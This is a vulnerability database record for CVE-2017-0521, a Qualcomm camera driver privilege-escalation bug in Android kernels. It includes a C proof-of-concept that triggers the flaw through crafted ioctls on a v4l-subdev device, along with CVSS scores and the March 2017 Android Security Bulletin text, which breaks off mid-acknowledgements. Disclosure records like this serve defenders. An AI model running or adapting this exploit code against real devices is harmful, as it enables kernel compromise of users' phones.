ID UB:CVE-2017-0521 Type ubuntucve Reporter ubuntu.com Modified 2017-03-08T00:00:00
Description
An elevation of privilege vulnerability in the Qualcomm camera driver could
enable a local malicious application to execute arbitrary code within the
context of the kernel. This issue is rated as High because it first
requires compromising a privileged process. Product: Android. Versions:
Kernel-3.10, Kernel-3.18. Android ID: A-32919951. References:
QC-CR#1097709.
{"seebug": [{"lastseen": "2017-11-19T12:00:24", "description": "No description provided by source.", "published": "2017-04-04T00:00:00", "type": "seebug", "title": "Google Android Qualcomm Camera Driver Multiple Privilege Escalation Vulnerabilities (CVE-2017-0521)", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-0521"], "modified": "2017-04-04T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-92875", "id": "SSV:92875", "sourceData": "\n #include <stdlib.h>\r\n#include <stdio.h>\r\n#include <unistd.h>\r\n#include <sys/ioctl.h>\r\n#include <sys/types.h>\r\n#include <sys/stat.h>\r\n#include <fcntl.h>\r\n#include <linux/videodev2.h>\r\n#include <sys/mman.h>\r\n#include <linux/ion.h> \r\n//#include <ion/ion.h>\r\n#include <linux/types.h>\r\n\r\n/* Should be same as VIDEO_MAX_PLANES in videodev2.h */\r\n#define MAX_PLANES VIDEO_MAX_PLANES\r\n/* PARTIAL_FRAME_STRIPE_COUNT must be even */\r\n#define PARTIAL_FRAME_STRIPE_COUNT 4\r\n\r\n#define MAX_NUM_CPP_STRIPS 8\r\n#define MSM_CPP_MAX_NUM_PLANES 3\r\n#define MSM_CPP_MIN_FRAME_LENGTH 13\r\n#define MSM_CPP_MAX_FRAME_LENGTH 4096\r\n#define MSM_CPP_MAX_FW_NAME_LEN 32\r\n#define MAX_FREQ_TBL 10\r\n\r\nenum msm_cpp_frame_type {\r\n\tMSM_CPP_OFFLINE_FRAME,\r\n\tMSM_CPP_REALTIME_FRAME,\r\n};\r\n\r\nenum msm_vpe_frame_type {\r\n\tMSM_VPE_OFFLINE_FRAME,\r\n\tMSM_VPE_REALTIME_FRAME,\r\n};\r\n\r\nstruct msm_cpp_frame_strip_info {\r\n\tuint32_t scale_v_en;\r\n\tuint32_t scale_h_en;\r\n\r\n\tuint32_t upscale_v_en;\r\n\tuint32_t upscale_h_en;\r\n\r\n\tint32_t src_start_x;\r\n\tuint32_t src_end_x;\r\n\tint32_t src_start_y;\r\n\tuint32_t src_end_y;\r\n\r\n\t/* extra 5th and 6th layer parameters */\r\n\tint32_t extra_src_start_x;\r\n\tint32_t extra_src_end_x;\r\n\tint32_t extra_src_start_y;\r\n\tint32_t extra_src_end_y;\r\n\r\n\tint32_t extra_initial_vertical_count[2];\r\n\tint32_t extra_initial_horizontal_count[2];\r\n\r\n\t/* crop downscale 32x pixels */\r\n\tint32_t extra_left_crop;\r\n\tint32_t extra_top_crop;\r\n\r\n\tint32_t extra_pad_bottom;\r\n\tint32_t extra_pad_top;\r\n\tint32_t extra_pad_right;\r\n\tint32_t extra_pad_left;\r\n\r\n\tint32_t extra_upscale_width;\r\n\tint32_t extra_upscale_height;\r\n\r\n\tuint32_t temporal_pad_bottom;\r\n\tuint32_t temporal_pad_top;\r\n\tuint32_t temporal_pad_right;\r\n\tuint32_t temporal_pad_left;\r\n\r\n\tint32_t temporal_src_start_x;\r\n\tuint32_t temporal_src_end_x;\r\n\tint32_t temporal_src_start_y;\r\n\tuint32_t temporal_src_end_y;\r\n\r\n\t/* Padding is required for upscaler because it does not\r\n\t * pad internally like other blocks, also needed for rotation\r\n\t * rotation expects all the blocks in the stripe to be the same size\r\n\t * Padding is done such that all the extra padded pixels\r\n\t * are on the right and bottom\r\n\t */\r\n\tuint32_t pad_bottom;\r\n\tuint32_t pad_top;\r\n\tuint32_t pad_right;\r\n\tuint32_t pad_left;\r\n\r\n\tuint32_t v_init_phase;\r\n\tuint32_t h_init_phase;\r\n\tuint32_t h_phase_step;\r\n\tuint32_t v_phase_step;\r\n\r\n\tuint32_t spatial_denoise_crop_width_first_pixel;\r\n\tuint32_t spatial_denoise_crop_width_last_pixel;\r\n\tuint32_t spatial_denoise_crop_height_first_line;\r\n\tuint32_t spatial_denoise_crop_height_last_line;\r\n\r\n\tuint32_t sharpen_crop_height_first_line;\r\n\tuint32_t sharpen_crop_height_last_line;\r\n\tuint32_t sharpen_crop_width_first_pixel;\r\n\tuint32_t sharpen_crop_width_last_pixel;\r\n\r\n\tuint32_t temporal_denoise_crop_width_first_pixel;\r\n\tuint32_t temporal_denoise_crop_width_last_pixel;\r\n\tuint32_t temporal_denoise_crop_height_first_line;\r\n\tuint32_t temporal_denoise_crop_height_last_line;\r\n\r\n\tuint32_t prescaler_spatial_denoise_crop_width_first_pixel;\r\n\tuint32_t prescaler_spatial_denoise_crop_width_last_pixel;\r\n\tuint32_t prescaler_spatial_denoise_crop_height_first_line;\r\n\tuint32_t prescaler_spatial_denoise_crop_height_last_line;\r\n\r\n\tuint32_t state_crop_width_first_pixel;\r\n\tuint32_t state_crop_width_last_pixel;\r\n\tuint32_t state_crop_height_first_line;\r\n\tuint32_t state_crop_height_last_line;\r\n\r\n\tint32_t dst_start_x;\r\n\tuint32_t dst_end_x;\r\n\tint32_t dst_start_y;\r\n\tuint32_t dst_end_y;\r\n\r\n\tint32_t temporal_dst_start_x;\r\n\tuint32_t temporal_dst_end_x;\r\n\tint32_t temporal_dst_start_y;\r\n\tuint32_t temporal_dst_end_y;\r\n\r\n\tuint32_t input_bytes_per_pixel;\r\n\tuint32_t output_bytes_per_pixel;\r\n\tuint32_t temporal_bytes_per_pixel;\r\n\r\n\tuint32_t source_address[2];\r\n\tuint32_t extra_source_address[2];\r\n\tuint32_t destination_address[2];\r\n\t/* source_address[1] is used for CbCR planar\r\n\t * to CbCr interleaved conversion\r\n\t */\r\n\tuint32_t temporal_source_address[2];\r\n\t/* destination_address[1] is used for CbCr interleved\r\n\t * to CbCr planar conversion\r\n\t */\r\n\tuint32_t temporal_destination_address[2];\r\n\tuint32_t src_stride;\r\n\tuint32_t dst_stride;\r\n\tuint32_t rotate_270;\r\n\tuint32_t horizontal_flip;\r\n\tuint32_t vertical_flip;\r\n\tuint32_t scale_output_width;\r\n\tuint32_t scale_output_height;\r\n\tuint32_t spatial_denoise_crop_en;\r\n\tuint32_t sharpen_crop_en;\r\n\tuint32_t temporal_denoise_crop_en;\r\n\tuint32_t prescaler_spatial_denoise_crop_en;\r\n\tuint32_t state_crop_en;\r\n\r\n\tint32_t we_h_init;\r\n\tint32_t we_v_init;\r\n\tint32_t we_h_step;\r\n\tint32_t we_v_step;\r\n};\r\n\r\nstruct msm_cpp_buffer_info_t {\r\n\tint32_t fd;\r\n\tuint32_t index;\r\n\tuint32_t offset;\r\n\tuint8_t native_buff;\r\n\tuint8_t processed_divert;\r\n\tuint32_t identity;\r\n};\r\n\r\nstruct msm_cpp_stream_buff_info_t {\r\n\tuint32_t identity;\r\n\tuint32_t num_buffs;\r\n\tstruct msm_cpp_buffer_info_t *buffer_info;\r\n};\r\n\r\nenum msm_cpp_batch_mode_t {\r\n\tBATCH_MODE_NONE,\r\n\tBATCH_MODE_VIDEO,\r\n\tBATCH_MODE_PREVIEW\r\n};\r\n\r\nstruct msm_cpp_batch_info_t {\r\n\tenum msm_cpp_batch_mode_t batch_mode;\r\n\tuint32_t batch_size;\r\n\tuint32_t intra_plane_offset[MAX_PLANES];\r\n\tuint32_t pick_preview_idx;\r\n\tuint32_t cont_idx;\r\n};\r\n\r\nstruct msm_cpp_frame_info_t {\r\n\tint32_t frame_id;\r\n\tstruct timeval timestamp;\r\n\tuint32_t inst_id;\r\n\tuint32_t identity;\r\n\tuint32_t client_id;\r\n\tenum msm_cpp_frame_type frame_type;\r\n\tuint32_t num_strips;\r\n\tstruct msm_cpp_frame_strip_info __user *strip_info;\r\n\tuint32_t msg_len;\r\n\tuint32_t *cpp_cmd_msg;\r\n\tint src_fd;\r\n\tint dst_fd;\r\n\tstruct timeval in_time, out_time;\r\n\tvoid __user *cookie;\r\n\tint32_t *status;\r\n\tint32_t duplicate_output;\r\n\tuint32_t duplicate_identity;\r\n\tuint32_t feature_mask;\r\n\tuint8_t we_disable;\r\n\tstruct msm_cpp_buffer_info_t input_buffer_info;\r\n\tstruct msm_cpp_buffer_info_t output_buffer_info[8];\r\n\tstruct msm_cpp_buffer_info_t duplicate_buffer_info;\r\n\tstruct msm_cpp_buffer_info_t tnr_scratch_buffer_info[2];\r\n\tuint32_t reserved;\r\n\tuint8_t partial_frame_indicator;\r\n\t/* the followings are used only for partial_frame type\r\n\t * and is only used for offline frame processing and\r\n\t * only if payload big enough and need to be split into partial_frame\r\n\t * if first_payload, kernel acquires output buffer\r\n\t * first payload must have the last stripe\r\n\t * buffer addresses from 0 to last_stripe_index are updated.\r\n\t * kernel updates payload with msg_len and stripe_info\r\n\t * kernel sends top level, plane level, then only stripes\r\n\t * starting with first_stripe_index and\r\n\t * ends with last_stripe_index\r\n\t * kernel then sends trailing flag at frame done,\r\n\t * if last payload, kernel queues the output buffer to HAL\r\n\t */\r\n\tuint8_t first_payload;\r\n\tuint8_t last_payload;\r\n\tuint32_t first_stripe_index;\r\n\tuint32_t last_stripe_index;\r\n\tuint32_t stripe_info_offset;\r\n\tuint32_t stripe_info;\r\n\tstruct msm_cpp_batch_info_t batch_info;\r\n};\r\n\r\nstruct msm_cpp_pop_stream_info_t {\r\n\tint32_t frame_id;\r\n\tuint32_t identity;\r\n};\r\n\r\nstruct cpp_hw_info {\r\n\tuint32_t cpp_hw_version;\r\n\tuint32_t cpp_hw_caps;\r\n\tunsigned long freq_tbl[MAX_FREQ_TBL];\r\n\tuint32_t freq_tbl_count;\r\n};\r\n\r\nstruct msm_vpe_frame_strip_info {\r\n\tuint32_t src_w;\r\n\tuint32_t src_h;\r\n\tuint32_t dst_w;\r\n\tuint32_t dst_h;\r\n\tuint32_t src_x;\r\n\tuint32_t src_y;\r\n\tuint32_t phase_step_x;\r\n\tuint32_t phase_step_y;\r\n\tuint32_t phase_init_x;\r\n\tuint32_t phase_init_y;\r\n};\r\n\r\nstruct msm_vpe_buffer_info_t {\r\n\tint32_t fd;\r\n\tuint32_t index;\r\n\tuint32_t offset;\r\n\tuint8_t native_buff;\r\n\tuint8_t processed_divert;\r\n};\r\n\r\nstruct msm_vpe_stream_buff_info_t {\r\n\tuint32_t identity;\r\n\tuint32_t num_buffs;\r\n\tstruct msm_vpe_buffer_info_t *buffer_info;\r\n};\r\n\r\nstruct msm_vpe_frame_info_t {\r\n\tint32_t frame_id;\r\n\tstruct timeval timestamp;\r\n\tuint32_t inst_id;\r\n\tuint32_t identity;\r\n\tuint32_t client_id;\r\n\tenum msm_vpe_frame_type frame_type;\r\n\tstruct msm_vpe_frame_strip_info strip_info;\r\n\tunsigned long src_fd;\r\n\tunsigned long dst_fd;\r\n\tstruct ion_handle *src_ion_handle;\r\n\tstruct ion_handle *dest_ion_handle;\r\n\tunsigned long src_phyaddr;\r\n\tunsigned long dest_phyaddr;\r\n\tunsigned long src_chroma_plane_offset;\r\n\tunsigned long dest_chroma_plane_offset;\r\n\tstruct timeval in_time, out_time;\r\n\tvoid *cookie;\r\n\r\n\tstruct msm_vpe_buffer_info_t input_buffer_info;\r\n\tstruct msm_vpe_buffer_info_t output_buffer_info;\r\n};\r\n\r\n#define VIDIOC_MSM_CPP_CFG \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_GET_EVENTPAYLOAD \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 1, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_GET_INST_INFO \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 2, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_LOAD_FIRMWARE \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 3, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_GET_HW_INFO \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 4, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_FLUSH_QUEUE \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 5, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 7, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_VPE_CFG \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 8, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_VPE_TRANSACTION_SETUP \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 9, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_VPE_GET_EVENTPAYLOAD \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_VPE_GET_INST_INFO \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 11, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_VPE_ENQUEUE_STREAM_BUFF_INFO \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 12, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_VPE_DEQUEUE_STREAM_BUFF_INFO \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 13, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_QUEUE_BUF \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 14, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 15, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_SET_CLOCK \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 16, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_POP_STREAM_BUFFER \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 17, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_IOMMU_ATTACH \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 18, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_IOMMU_DETACH \\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 19, struct msm_camera_v4l2_ioctl_t)\r\n\r\n#define VIDIOC_MSM_CPP_DELETE_STREAM_BUFF\\\r\n\t_IOWR('V', BASE_VIDIOC_PRIVATE + 20, struct msm_camera_v4l2_ioctl_t)\r\n\r\n\r\n#define V4L2_EVENT_CPP_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 0)\r\n#define V4L2_EVENT_VPE_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 1)\r\n\r\nstruct msm_camera_v4l2_ioctl_t {\r\n\tuint32_t id;\r\n\tsize_t len;\r\n\tint32_t trans_code;\r\n\tvoid __user *ioctl_ptr;\r\n};\r\n\r\n#define MSM_CPP_MSG_ID_TRAILER 0xABCDEFAA\r\n\r\nint ion_open()\r\n{\r\n int fd = open(\"/dev/ion\", O_RDONLY);\r\n return fd;\r\n}\r\n\r\nstatic int ion_ioctl(int fd, int req, void *arg)\r\n{\r\n int ret = ioctl(fd, req, arg);\r\n return ret;\r\n}\r\n\r\nint ion_alloc(int fd, size_t len, size_t align, unsigned int heap_mask,\r\n unsigned int flags, ion_user_handle_t *handle)\r\n{\r\n int ret;\r\n struct ion_allocation_data data = {\r\n .len = len,\r\n .align = align,\r\n .heap_id_mask = heap_mask,\r\n .flags = flags,\r\n\t//.handle = handle,\r\n };\r\n if (handle == NULL)\r\n return -EINVAL;\r\n\r\n ret = ion_ioctl(fd, ION_IOC_ALLOC, &data);\r\n if (ret < 0)\r\n return ret;\r\n\r\n *handle = data.handle;\r\n \r\n return ret;\r\n}\r\n\r\n\r\nstatic void ion_get_fd(int fd, ion_user_handle_t *handle, int *buf_fd)\r\n{\r\n\r\n\tunion {\r\n\t\tstruct ion_fd_data fd;\r\n\t\tstruct ion_allocation_data allocation;\r\n\t\tstruct ion_handle_data handle;\r\n\t\tstruct ion_custom_data custom;\r\n\t} data;\r\n\tmemset(&data, 0, sizeof(data));\r\n\tdata.handle.handle = *handle;\r\n\tint ret = ioctl(fd, ION_IOC_SHARE, &data);\r\n\tprintf(\"ret is %d with strerror %s\\n\", ret, strerror(errno));\r\n\t*buf_fd = data.fd.fd;\r\n\tprintf(\"buf_fd = %d\\n\", *buf_fd);\r\n}\r\n\r\nint main(int argc, char **argv)\r\n{\r\n\tint fd;\r\n\tint ion_fd;\r\n\tint buf_fd = -1;\r\n\tint ret;\r\n\tconst size_t frame_size = 446;\r\n\tion_user_handle_t ion_handle;\r\n\tuint32_t buf[frame_size];\r\n\tstruct msm_camera_v4l2_ioctl_t request = { 0 };\r\n\tstruct msm_cpp_frame_info_t frame_info;\r\n\tstruct msm_cpp_buffer_info_t buff_info;\r\n\tstruct msm_cpp_stream_buff_info_t stream_buff_info;\r\n\r\n\tmemset(&buf, 0x00, sizeof(buf));\r\n\tmemset(&frame_info, 0x01, sizeof(frame_info));\r\n\tmemset(&buff_info, 0x00, sizeof(buff_info));\r\n\tmemset(&stream_buff_info, 0x00, sizeof(stream_buff_info));\r\n\r\n\tion_fd = ion_open();\r\n\tif(ion_fd < 0) {\r\n\t\tprintf(\"Failed to open ion dev, reason: %s\\n\", strerror(errno));\r\n\t\texit(-1);\r\n\t}\r\n\r\n\tret = ion_alloc(ion_fd, 0x1000, 0, 0xfffffff, \r\n\t\t\tION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC, \r\n\t\t\t&ion_handle);\r\n\r\n\tif(ret) {\r\n\t\tprintf(\"ion_alloc failed, reason: %s\\n\", strerror(errno));\r\n\t\texit(-1);\r\n\t}\r\n\r\n\tion_get_fd(ion_fd, &ion_handle, &buf_fd);\r\n\r\n\t//fd = open(\"/dev/v4l-subdev12\", O_RDWR);\r\n\tchar devs[256] = { 0 };\r\n\t//int i;\r\n\t//\tfor (i = 0; i < 10; i++) {\r\n\t\t//\t\tv4l-subdev0\r\n\tsprintf(devs, \"/dev/v4l-subdev%d\", atoi(argv[1]));\r\n\tfd = open(devs, O_RDWR);\r\n\r\n\tif (fd < 0) {\r\n\t\tprintf(\"Couldn't open %s, reason: %s\\n\", devs, strerror(errno));\r\n\t\texit(1);\r\n\t}\r\n\t\r\n\trequest.len = sizeof(stream_buff_info);\r\n\trequest.ioctl_ptr = &stream_buff_info;\r\n\tstream_buff_info.num_buffs = 1;\r\n\tstream_buff_info.identity = 0x27BC86AA;//6666666666\r\n\tstream_buff_info.buffer_info = &buff_info;\r\n\tframe_info.identity = stream_buff_info.identity;\r\n\tbuff_info.fd = buf_fd;\r\n\tbuff_info.identity = 0x27BC86AA;//66666666660x1234CDEF;\r\n\tbuff_info.index = 0;\r\n\tbuff_info.native_buff = 1;\r\n\r\n\tret = ioctl(fd, VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO, &request);\r\n\tprintf(\"ret done with %d\\n\", ret);\r\n\r\n\tret = ioctl(fd, VIDIOC_MSM_CPP_IOMMU_ATTACH, &request);\r\n\tprintf(\"ret done with %d\\n\", ret);\r\n\t\r\n\tbuf[frame_size - 1] = MSM_CPP_MSG_ID_TRAILER;\t\r\n\tframe_info.msg_len = frame_size;\r\n\tframe_info.cpp_cmd_msg = buf;\r\n\tframe_info.num_strips = UINT_MAX;\r\n\tframe_info.we_disable = 1;\r\n\tframe_info.duplicate_output = 0;\r\n\tframe_info.feature_mask = 0;\r\n\tframe_info.input_buffer_info = buff_info;\r\n\r\n\trequest.len = sizeof(frame_info);\r\n\trequest.ioctl_ptr = &frame_info;\r\n\tret = ioctl(fd, VIDIOC_MSM_CPP_CFG, &request);\r\n\t//\t}\t\r\n\tclose(fd);\r\n}\n ", "cvss": {"score": 7.6, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-92875"}], "cve": [{"lastseen": "2022-03-23T11:56:56", "description": "An elevation of privilege vulnerability in the Qualcomm camera driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10, Kernel-3.18. Android ID: A-32919951. References: QC-CR#1097709.", "cvss3": {"exploitabilityScore": 1.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.0, "vectorString": "CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2017-03-08T01:59:00", "type": "cve", "title": "CVE-2017-0521", "cwe": ["CWE-190"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 4.9, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.6, "vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0521"], "modified": "2019-10-03T00:03:00", "cpe": ["cpe:/o:linux:linux_kernel:3.18", "cpe:/o:linux:linux_kernel:3.10"], "id": "CVE-2017-0521", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-0521", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:linux:linux_kernel:3.18:*:*:*:*:*:*:*", "cpe:2.3:o:linux:linux_kernel:3.10:*:*:*:*:*:*:*"]}], "androidsecurity": [{"lastseen": "2021-11-26T23:23:13", "description": "The Android Security Bulletin contains details of security vulnerabilities affecting Android devices. Alongside the bulletin, we have released a security update to Google devices through an over-the-air (OTA) update. The Google device firmware images have also been released to the [Google Developer site](<https://developers.google.com/android/nexus/images>). Security patch levels of March 05, 2017 or later address all of these issues. Refer to the [Pixel and Nexus update schedule](<https://support.google.com/pixelphone/answer/4457705#pixel_phones&nexus_devices>) to learn how to check a device's security patch level.\n\nPartners were notified of the issues described in the bulletin on February 06, 2017 or earlier. Source code patches for these issues have been released to the Android Open Source Project (AOSP) repository and linked from this bulletin. This bulletin also includes links to patches outside of AOSP.\n\nThe most severe of these issues is a Critical security vulnerability that could enable remote code execution on an affected device through multiple methods such as email, web browsing, and MMS when processing media files. The severity assessment is based on the effect that exploiting the vulnerability would possibly have on an affected device, assuming the platform and service mitigations are disabled for development purposes or if successfully bypassed.\n\nWe have had no reports of active customer exploitation or abuse of these newly reported issues. Refer to the Android and Google service mitigations section for details on the Android security platform protections and service protections such as [SafetyNet](<https://developer.android.com/training/safetynet/index.html>), which improve the security of the Android platform.\n\nWe encourage all customers to accept these updates to their devices.\n\n## Announcements\n\n * This bulletin has two security patch level strings to provide Android partners with the flexibility to more quickly fix a subset of vulnerabilities that are similar across all Android devices. See Common questions and answers for additional information: \n * **2017-03-01**: Partial security patch level string. This security patch level string indicates that all issues associated with 2017-03-01 (and all previous security patch level strings) are addressed.\n * **2017-03-05**: Complete security patch level string. This security patch level string indicates that all issues associated with 2017-03-01 and 2017-03-05 (and all previous security patch level strings) are addressed.\n * Supported Google devices will receive a single OTA update with the March 05, 2017 security patch level.\n\n## Android and Google service mitigations\n\nThis is a summary of the mitigations provided by the Android security platform and service protections, such as SafetyNet. These capabilities reduce the likelihood that security vulnerabilities could be successfully exploited on Android.\n\n * Exploitation for many issues on Android is made more difficult by enhancements in newer versions of the Android platform. We encourage all users to update to the latest version of Android where possible.\n * The Android Security team actively monitors for abuse with [Verify Apps and SafetyNet](<http://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2015_Report_Final.pdf>), which are designed to warn users about [Potentially Harmful Applications](<http://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_PHA_classifications.pdf>). Verify Apps is enabled by default on devices with [Google Mobile Services](<http://www.android.com/gms>) and is especially important for users who install applications from outside of Google Play. Device rooting tools are prohibited within Google Play, but Verify Apps warns users when they attempt to install a detected rooting application\u2014no matter where it comes from. Additionally, Verify Apps attempts to identify and block installation of known malicious applications that exploit a privilege escalation vulnerability. If such an application has already been installed, Verify Apps will notify the user and attempt to remove the detected application.\n * As appropriate, Google Hangouts and Messenger applications do not automatically pass media to processes such as Mediaserver.\n\n## Acknowledgements\n\nWe would like to thank these researchers for their contributions:\n\n * Alexander Potapenko of Google Dynamic Tools team: CVE-2017-0537 \n * Baozeng Ding, Chengming Yang, Peng Xiao, and Yang Song of Alibaba Mobile Security Group: CVE-2017-0506 \n * Baozeng Ding, Ning You, Chengming Yang, Peng Xiao, and Yang Song of Alibaba Mobile Security Group: CVE-2017-0463 \n * Billy Lau of Android Security: CVE-2017-0335, CVE-2017-0336, CVE-2017-0338, CVE-2017-0460 \n * [derrek](<mailto:derrek.haxx@gmail.com>) ([@derrekr6](<https://twitter.com/derrekr6>)): CVE-2016-8413, CVE-2016-8477, CVE-2017-0531 \n * [derrek](<mailto:derrek.haxx@gmail.com>) ([@derrekr6](<https://twitter.com/derrekr6>)) and [Scott Bauer](<mailto:sbauer@plzdonthack.me>) ([@ScottyBauer1](<https://twitter.com/ScottyBauer1>)): CVE-2017-0521 \n * Di Shen ([@returnsme](<https://twitter.com/returnsme>)) of KeenLab ([@keen_lab](<https://twitter.com/keen_lab>)), Tencent: CVE-2017-0334, CVE-2017-0456, CVE-2017-0457, CVE-2017-0525 \n * En He ([@heeeeen4x](<https://twitter.com/heeeeen4x>)) and Bo Liu of [MS509Team](<http://www.ms509.com>): CVE-2017-0490 \n * Gengjia Chen ([@chengjia4574](<https://twitter.com/chengjia4574>)) and [pjf](<http://weibo.com/jfpan>) of IceSword Lab, Qihoo 360 Technology Co. Ltd.: CVE-2017-0500, CVE-2017-0501, CVE-2017-0502, CVE-2017-0503, CVE-2017-0509, CVE-2017-0524, CVE-2017-0529, CVE-2017-0536 \n * Hao Chen and Guang Gong of Alpha Team, Qihoo 360 Technology Co. Ltd.: CVE-2017-0453, CVE-2017-0461, CVE-2017-0464 \n * Hiroki Yamamoto and Fang Chen of Sony Mobile Communications Inc.: CVE-2017-0481 \n * IBM Security X-Force Researchers Sagi Kedmi and Roee Hay: CVE-2017-0510 \n * Jianjun Dai ([@Jioun_dai](<https://twitter.com/Jioun_dai>)) of [Qihoo 360 Skyeye Labs](<https://skyeye.360safe.com>): CVE-2017-0478 \n * Jianqiang Zhao ([@jianqiangzhao](<https://twitter.com/jianqiangzhao>)) and [pjf](<http://weibo.com/jfpan>) of IceSword Lab, Qihoo 360: CVE-2016-8416, CVE-2016-8478, CVE-2017-0458, CVE-2017-0459, CVE-2017-0518, CVE-2017-0519, CVE-2017-0533, CVE-2017-0534 \n * [Lubo Zhang](<mailto:zlbzlb815@163.com>), [Tong Lin](<mailto:segfault5514@gmail.com>), [Yuan-Tsung Lo](<mailto:computernik@gmail.com>), and Xuxian Jiang of [C0RE Team](<http://c0reteam.org>): CVE-2016-8479 \n * Makoto Onuki of Google: CVE-2017-0491 \n * Mingjian Zhou ([@Mingjian_Zhou](<https://twitter.com/Mingjian_Zhou>)), [Hanxiang Wen](<mailto:arnow117@gmail.com>), and Xuxian Jiang of [C0RE Team](<http://c0reteam.org>): CVE-2017-0479, CVE-2017-0480 \n * Nathan Crandall ([@natecray](<https://twitter.com/natecray>)): CVE-2017-0535 \n * Nathan Crandall ([@natecray](<https://twitter.com/natecray>)) of Tesla Motors Product Security Team: CVE-2017-0306 \n * Pengfei Ding (\u4e01\u9e4f\u98de), Chenfu Bao (\u5305\u6c89\u6d6e), Lenx Wei (\u97e6\u97ec) of Baidu X-Lab (\u767e\u5ea6\u5b89\u5168\u5b9e\u9a8c\u5ba4): CVE-2016-8417 \n * Qidan He (\u4f55\u6dc7\u4e39) ([@flanker_hqd](<https://twitter.com/flanker_hqd>)) of KeenLab, Tencent: CVE-2017-0337, CVE-2017-0476 \n * Qing Zhang of Qihoo 360 and Guangdong Bai of Singapore Institute of Technology (SIT): CVE-2017-0496 \n * Quhe and wanchouchou of Ant-financial Light-Year Security Lab (\u8682\u8681\u91d1\u670d\u5df4\u65af\u5149\u5e74\u5b89\u5168\u5b9e\u9a8c\u5ba4): CVE-2017-0522 \n * [Sahara](<mailto:keun-o.park@darkmatter.ae>) of Secure Communications in DarkMatter: CVE-2017-0528 \n * salls ([@chris_salls](<https://twitter.com/chris_salls>)) of Shellphish Grill Team, UC Santa Barbara: CVE-2017-0505 \n * [Scott Bauer](<mailto:sbauer@plzdonthack.me>) 